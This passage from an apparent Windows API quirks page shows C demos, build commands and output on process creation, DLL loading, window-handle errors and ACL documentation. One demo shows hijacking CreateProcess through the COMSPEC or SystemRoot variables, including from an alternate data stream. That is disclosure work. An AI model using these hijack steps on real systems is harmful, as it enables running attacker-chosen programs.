    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk4.exe from the source file quirk4.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE quirk4.c kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk4.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk4.c
    quirk4.c(58) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk4.exe
    quirk4.obj
    kernel32.lib
    user32.lib
  3. Create the text file quirk4.bat with the following content next to the console application quirk4.exe built in step 2.:

    @ECHO %CMDCMDLINE%
  4. Execute the console application quirk4.exe built in step 2. a first time to prove the documentation cited above wrong:

    .\quirk4.exe
    Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe'
    Child process 6008 with primary thread 5092 created
    C:\Windows\system32\cmd.exe /c .\quirk4.bat
    Primary thread 5092 of child process 6008 exited with code 0
    Child process 6008 exited with code 0
    OUCH¹: despite its lpApplicationName parameter set to NULL, the Win32 function CreateProcess() executes a batch script with only its lpCommandLine parameter set to the (absolute or relative) path name of that batch script!
  5. Set the environment variable COMSPEC to the path name of an arbitrary application, then execute the console application quirk4.exe a second time to show undocumented behaviour:

    SET COMSPEC=%SystemRoot%\System32\Reg.exe
    .\quirk4.exe
    Child process loaded from image file 'C:\Windows\SysWOW64\reg.exe'
    Child process 5832 with primary thread 5704 created
    ERROR: Invalid Argument/Option - '/c'.
    Type "REG /?" for usage.
    Primary thread 5704 of child process 5832 exited with code 1
    Child process 5832 exited with code 1
    OUCH²: the Win32 function CreateProcess() evaluates the environment variable COMSPEC and executes an arbitrary (hostile) application!
  6. Set the environment variable COMSPEC to the (relative or absolute) path name of an arbitrary NTFS Alternate Data Stream that contains an arbitrary application, then execute the console application quirk4.exe a third time to show undocumented behaviour:

    SET COMSPEC=.\quirk4.bat:Zone.Identifier
    TYPE "%SystemRoot%\System32\Reg.exe" 1>"%COMSPEC%"
    .\quirk4.exe
    Child process loaded from image file 'C:\Users\Stefan\Desktop\quirk4.bat:Zone.Identifier'
    Child process 6252 with primary thread 6096 created
    ERROR: Invalid Argument/Option - '/c'.
    Type "REG /?" for usage.
    Primary thread 6096 of child process 6252 exited with code 1
    Child process 6252 exited with code 1
    OUCH³: the Win32 function CreateProcess() evaluates the environment variable COMSPEC and executes an arbitrary (hostile) application also from an Alternate Data Stream!
  7. Remove the environment variable COMSPEC, then execute the console application quirk4.exe a fourth time to show undocumented behaviour:

    SET COMSPEC=
    .\quirk4.exe
    Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe'
    Child process 5436 with primary thread 5916 created
    C:\Windows\system32\cmd.exe /c .\quirk4.bat
    Primary thread 5916 of child process 5436 exited with code 0
    Child process 5436 exited with code 0
    Oops: the Win32 function CreateProcess() finds the Command Processor even when the environment variable COMSPEC is not set!
  8. Copy an arbitrary application (or an empty file) as CMD.EXE into the current directory, then execute the console application quirk4.exe a fifth time to show that it doesn’t search the path, i.e. it doesn’t execute CMD.EXE from its application directory or the current directory:

    COPY "%SystemRoot%\System32\Reg.exe" CMD.EXE
    .\quirk4.exe
    Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe'
    Child process 5720 with primary thread 6184 created
    C:\Windows\system32\cmd.exe /c .\quirk4.bat
    Primary thread 6184 of child process 5720 exited with code 0
    Child process 5720 exited with code 0
  9. Create the subdirectory System32\ in the current directory, copy an arbitrary application as CMD.EXE into it and set the environment variable SystemRoot to the current directory, then execute the console application quirk4.exe a last time to show more undocumented behaviour:

    MKDIR System32
    MOVE CMD.EXE System32
    SET SystemRoot=%CD%
    .\quirk4.exe
    Child process loaded from image file 'C:\Users\Stefan\Desktop\System32\CMD.EXE'
    Child process 5372 with primary thread 5448 created
    ERROR: Invalid Argument/Option - '/c'.
    Type "REG /?" for usage.
    Primary thread 5448 of child process 5372 exited with code 1
    Child process 5372 exited with code 1
    OUCH⁴: if the environment variable COMSPEC is not set the Win32 function CreateProcess() evaluates the environment variable SystemRoot and executes an arbitrary (hostile) application from the path %SystemRoot%\System32\Cmd.exe!
Note: a repetition of this demonstration with the environment variable COMSPEC or SystemRoot pointing to an arbitrary UNC path is left as an exercise to the reader!

Note: an exploration of the (mis)behaviour with the Win32 functions CreateProcessAsUser(), CreateProcessWithLogonW() and CreateProcessWithTokenW() is left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The (unintended) execution of (hostile) applications determined by (user-controlled) environment variables like COMSPEC or SystemRoot is a well-known weakness, documented as CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') and CWE-73: External Control of File Name or Path in the CWE; it allows well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC. The highlighted parts are but wrong!

Quirk № 8

The MSDN article WOW64 Implementation Details tells:
The WOW64 emulator runs in user mode. It provides an interface between the 32-bit version of Ntdll.dll and the kernel of the processor, and it intercepts kernel calls. The WOW64 emulator consists of the following DLLs: These DLLs, along with the 64-bit version of Ntdll.dll, are the only 64-bit binaries that can be loaded into a 32-bit process. On Windows 10 on ARM, CHPE (Compiled Hybrid Portable Executable) binaries may also be loaded into an x86 32-bit process.

At startup, Wow64.dll loads the x86 version of Ntdll.dll (or the CHPE version, if enabled) and runs its initialization code, which loads all necessary 32-bit DLLs. […]

Demonstration

Perform the following 7 simple steps to determine the DLLs NTDLL.dll deems necessary.
  1. Create the text file quirk8.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    int main(void)
    {
        return 'VOID';
    }
    Note: this trivial minimal program has 0 (in words: zero) dependencies, i.e. the initialisation code of NTDLL.dll has no reason to load any other DLL at all!
  2. Build the 32-bit console application quirk8.exe from the source file quirk8.c created in step 1.:

    SET CL=/W4 /X /Zl
    SET LINK=/ENTRY:main /NODEFAULTLIB
    CL.EXE quirk8.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk8.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:main /NODEFAULTLIB
    /out:quirk8.exe
    quirk8.obj
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

  3. Execute the 32-bit console application quirk8.exe built in step 2. under the 32-bit debugger CDB.exe:

    CDB.EXE /C q /G /g .\quirk8.exe
    Microsoft (R) Windows Debugger Version 6.1.7601.17514 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\quirk8.exe
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 01230000 01232000   image01230000
    ModLoad: 779c0000 77b40000   ntdll.dll
    ModLoad: 75610000 75720000   C:\Windows\syswow64\kernel32.dll
    ModLoad: 752d0000 75317000   C:\Windows\syswow64\KERNELBASE.dll
    ModLoad: 75540000 755e1000   C:\Windows\syswow64\ADVAPI32.DLL
    ModLoad: 757a0000 7584c000   C:\Windows\syswow64\msvcrt.dll
    ModLoad: 77420000 77439000   C:\Windows\SysWOW64\sechost.dll
    ModLoad: 77300000 773f0000   C:\Windows\syswow64\RPCRT4.dll
    ModLoad: 750e0000 75140000   C:\Windows\syswow64\SspiCli.dll
    ModLoad: 750d0000 750dc000   C:\Windows\syswow64\CRYPTBASE.dll
    OOPS¹: 8 (in words: eight) not explicitly referenced and thus neither necessary nor required DLLs are loaded in this every 32-bit process!

    Caveat: on 64-bit systems, a 32-bit debugger doesn’t receive LOAD_DLL_DEBUG_EVENT and UNLOAD_DLL_DEBUG_EVENT events for 64-bit DLLs.

  4. Execute the 32-bit console application quirk8.exe built in step 2. under the 64-bit debugger CDB.exe:

    CDB.EXE /C q /G /g .\quirk8.exe
    Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\quirk8.exe
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 00000000`12340000 00000000`12342000   image00000000`12340000
    ModLoad: 00000000`77800000 00000000`7799f000   ntdll.dll
    ModLoad: 00000000`779c0000 00000000`77b40000   ntdll32.dll
    ModLoad: 00000000`75040000 00000000`7507f000   C:\Windows\SYSTEM32\wow64.dll
    ModLoad: 00000000`74fe0000 00000000`7503c000   C:\Windows\SYSTEM32\wow64win.dll
    ModLoad: 00000000`74fd0000 00000000`74fd8000   C:\Windows\SYSTEM32\wow64cpu.dll
    ModLoad: 00000000`775e0000 00000000`776ff000   WOW64_IMAGE_SECTION
    ModLoad: 00000000`75610000 00000000`75720000   WOW64_IMAGE_SECTION
    ModLoad: 00000000`775e0000 00000000`776ff000   NOT_AN_IMAGE
    ModLoad: 00000000`77700000 00000000`777fb000   NOT_AN_IMAGE
    ModLoad: 00000000`75610000 00000000`75720000   C:\Windows\syswow64\kernel32.dll
    ModLoad: 00000000`752d0000 00000000`75317000   C:\Windows\syswow64\KERNELBASE.dll
    ModLoad: 00000000`75540000 00000000`755e1000   C:\Windows\syswow64\ADVAPI32.DLL
    ModLoad: 00000000`757a0000 00000000`7584c000   C:\Windows\syswow64\msvcrt.dll
    ModLoad: 00000000`77420000 00000000`77439000   C:\Windows\SysWOW64\sechost.dll
    ModLoad: 00000000`77300000 00000000`773f0000   C:\Windows\syswow64\RPCRT4.dll
    ModLoad: 00000000`750e0000 00000000`75140000   C:\Windows\syswow64\SspiCli.dll
    ModLoad: 00000000`750d0000 00000000`750dc000   C:\Windows\syswow64\CRYPTBASE.dll
    OOPS²: as before!
  5. Build the 64-bit console application quirk8.exe from the source file quirk8.c created in step 1.:

    SET CL=/W4 /X /Zl
    SET LINK=/ENTRY:main /NODEFAULTLIB
    CL.EXE quirk8.c
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk8.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:main /NODEFAULTLIB
    /out:quirk8.exe
    quirk8.obj
  6. Execute the 64-bit console application quirk8.exe built in step 5. under the 64-bit debugger CDB.exe:

    CDB.EXE /C q /G /g .\quirk8.exe
    Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\quirk8.exe
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 00000000`12340000 00000000`12342000   image00000000`12340000
    ModLoad: 00000000`77800000 00000000`7799f000   ntdll.dll
    ModLoad: 00000000`775e0000 00000000`776ff000   C:\Windows\system32\kernel32.dll
    ModLoad: 000007fe`fd510000 000007fe`fd577000   C:\Windows\system32\KERNELBASE.dll
    ModLoad: 000007fe`fd980000 000007fe`fda5b000   C:\Windows\system32\ADVAPI32.dll
    ModLoad: 000007fe`fe1c0000 000007fe`fe25f000   C:\Windows\system32\msvcrt.dll
    ModLoad: 000007fe`fe260000 000007fe`fe27f000   C:\Windows\SYSTEM32\sechost.dll
    ModLoad: 000007fe`ff250000 000007fe`ff37c000   C:\Windows\system32\RPCRT4.dll
    OOPS³: 6 (in words: six) not explicitly referenced and thus neither necessary nor required DLLs are loaded in this every 64-bit process!
  7. Finally (try to) execute the 64-bit console application quirk8.exe built in step 5. under the 32-bit debugger CDB.exe:

    CDB.EXE /C q /G /g .\quirk8.exe
    Microsoft (R) Windows Debugger Version 6.1.7601.17514 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\quirk8.exe
    Cannot execute '.\quirk8.exe', Win32 error 0n50
        "The request is not supported."
    Debuggee initialization failed, Win32 error 0n50
        "The request is not supported."

Quirk № 14

The Win32 functions GetOpenClipboardWindow(), GetWindow() and GetWindowModuleFileName() are documented in the MSDN as follows:
Retrieves the handle to the window that currently has the clipboard open.
HWND GetOpenClipboardWindow();
[…]

If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.

Retrieves a handle to a window that has the specified relationship (Z-Order or owner) to the specified window.
HWND GetWindow(
  HWND hWnd,
  UINT uCmd
);

[…]

Value Meaning
GW_ENABLEDPOPUP
6
The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window.

[…]

If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.

Retrieves the full path and file name of the module associated with the specified window handle.
UINT GetWindowModuleFileName(
  HWND   hwnd,
  LPTSTR pszFileName,
  UINT   cchFileNameMax
);
[…]

The return value is the total number of characters copied into the buffer.

Note: the last documentation fails to specify what associated module means as well as error conditions and restrictions!

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk14.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HWND	hWindow = HWND_DESKTOP;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetWindowModuleFileName(hWindow,
    		                                   szBuffer,
    		                                   sizeof(szBuffer) / sizeof(*szBuffer));
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		SetLastError(123456789);
    
    		hWindow = GetActiveWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetActiveWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetConsoleWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetConsoleWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError(123456789);
    
    		hWindow = GetDesktopWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetDesktopWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetForegroundWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetForegroundWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError(123456789);
    
    		hWindow = GetOpenClipboardWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetOpenClipboardWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetShellWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetShellWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetTopWindow(HWND_DESKTOP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetTopWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError(123456789);
    
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow,
    			                                   szBuffer,
    			                                   sizeof(szBuffer) / sizeof(*szBuffer));
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM,
    		                                   szBuffer,
    		                                   sizeof(szBuffer) / sizeof(*szBuffer));
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP,
    		                                   szBuffer,
    		                                   sizeof(szBuffer) / sizeof(*szBuffer));
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST,
    		                                   szBuffer,
    		                                   sizeof(szBuffer) / sizeof(*szBuffer));
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST,
    		                                   szBuffer,
    		                                   sizeof(szBuffer) / sizeof(*szBuffer));
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk14.exe from the source file quirk14.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE quirk14.c kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk14.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk14.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk14.exe
    quirk14.obj
    kernel32.lib
    user32.lib
  3. Execute the console application quirk14.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk14.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetWindowModuleFileName(0x00000000, …) returned error 1400
    GetWindow() returned error 1400
    GetActiveWindow() returned NULL
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters
    GetWindowModuleFileName(0x00010010, …) returned error 123456789
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters
    GetOpenClipboardWindow() returned error 123456789
    GetWindowModuleFileName(0x00020104, …) returned error 123456789
    GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters
    GetWindow() returned error 123456789
    GetWindowModuleFileName(0x00000001, …) returned error 1400
    GetWindowModuleFileName(0x00000000, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400
    
    0x578 (WIN32: 1400 ERROR_INVALID_WINDOW_HANDLE) -- 1400 (1400)
    Error message text: Invalid window handle.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 function GetWindow() does not support the pseudo handle HWND_DESKTOP alias NULL, but returns NULL with Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH²: it does not return the handle of the specified window if this does not own an enabled popup window, but NULL and fails to set the Win32 error code!

    OUCH³: it returns NULL but fails to set the Win32 error code if no window with the specified relationship exists!

    Note: the Win32 function GetWindowModuleFileName() returns 0 and does not modify the buffer in case of failure!

    OUCH⁴: it returns the path name of the calling console application although this did not create the window!

    OUCH⁵: it returns 0 but fails to set the Win32 error code if the window was created in another process, except for the console window!

    OUCH⁶: it does not support the pseudo handles HWND_BOTTOM, HWND_TOP alias HWND_DESKTOP, HWND_TOPMOST and HWND_NOTOPMOST, but returns 0 with Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH⁷: the Win32 function GetOpenClipboardWindow() returns NULL but fails to set the Win32 error if the clipboard is not opened by a window!

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 16

The TechNet articles How Security Descriptors and Access Control Lists Work, How Security Principals Work, How Security Identifiers Work and How Permissions Work provide a comprehensive and exhaustive explanation of Windows’ Access Control and its Access Control Components, while the MSDN article Access Control Lists provides an abstract:
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.

A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]

Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed by FILE_DELETE_CHILD of the parent (too)!

The TechNet article How Permissions Work specifies:

Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.

Permissions for Files and Folders

Permission Description
Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.)
Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder.

[…]

You should also be aware of the following:

The MSDN article File Security and Access Rights but contradicts:
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.

[…]

By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.

The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.

Note

The MAXIMUM_ALLOWED constant cannot be used in an ACE.

Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of Windows’ Icacls command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.

[…]

icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
[…]
Oops: the parameter /Inheritance:{E|D|R} is undocumented!

Demonstration

Start the Command Processor Cmd.exe, then execute the following command lines to prove the documentation cited above wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%TMP%"
COPY NUL: Quirk16f.tmp
ECHO Step 1: remove all inherited access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Inheritance:R /Q
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp /Q
ECHO Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC) /Q
CACLS.EXE Quirk16f.tmp /S
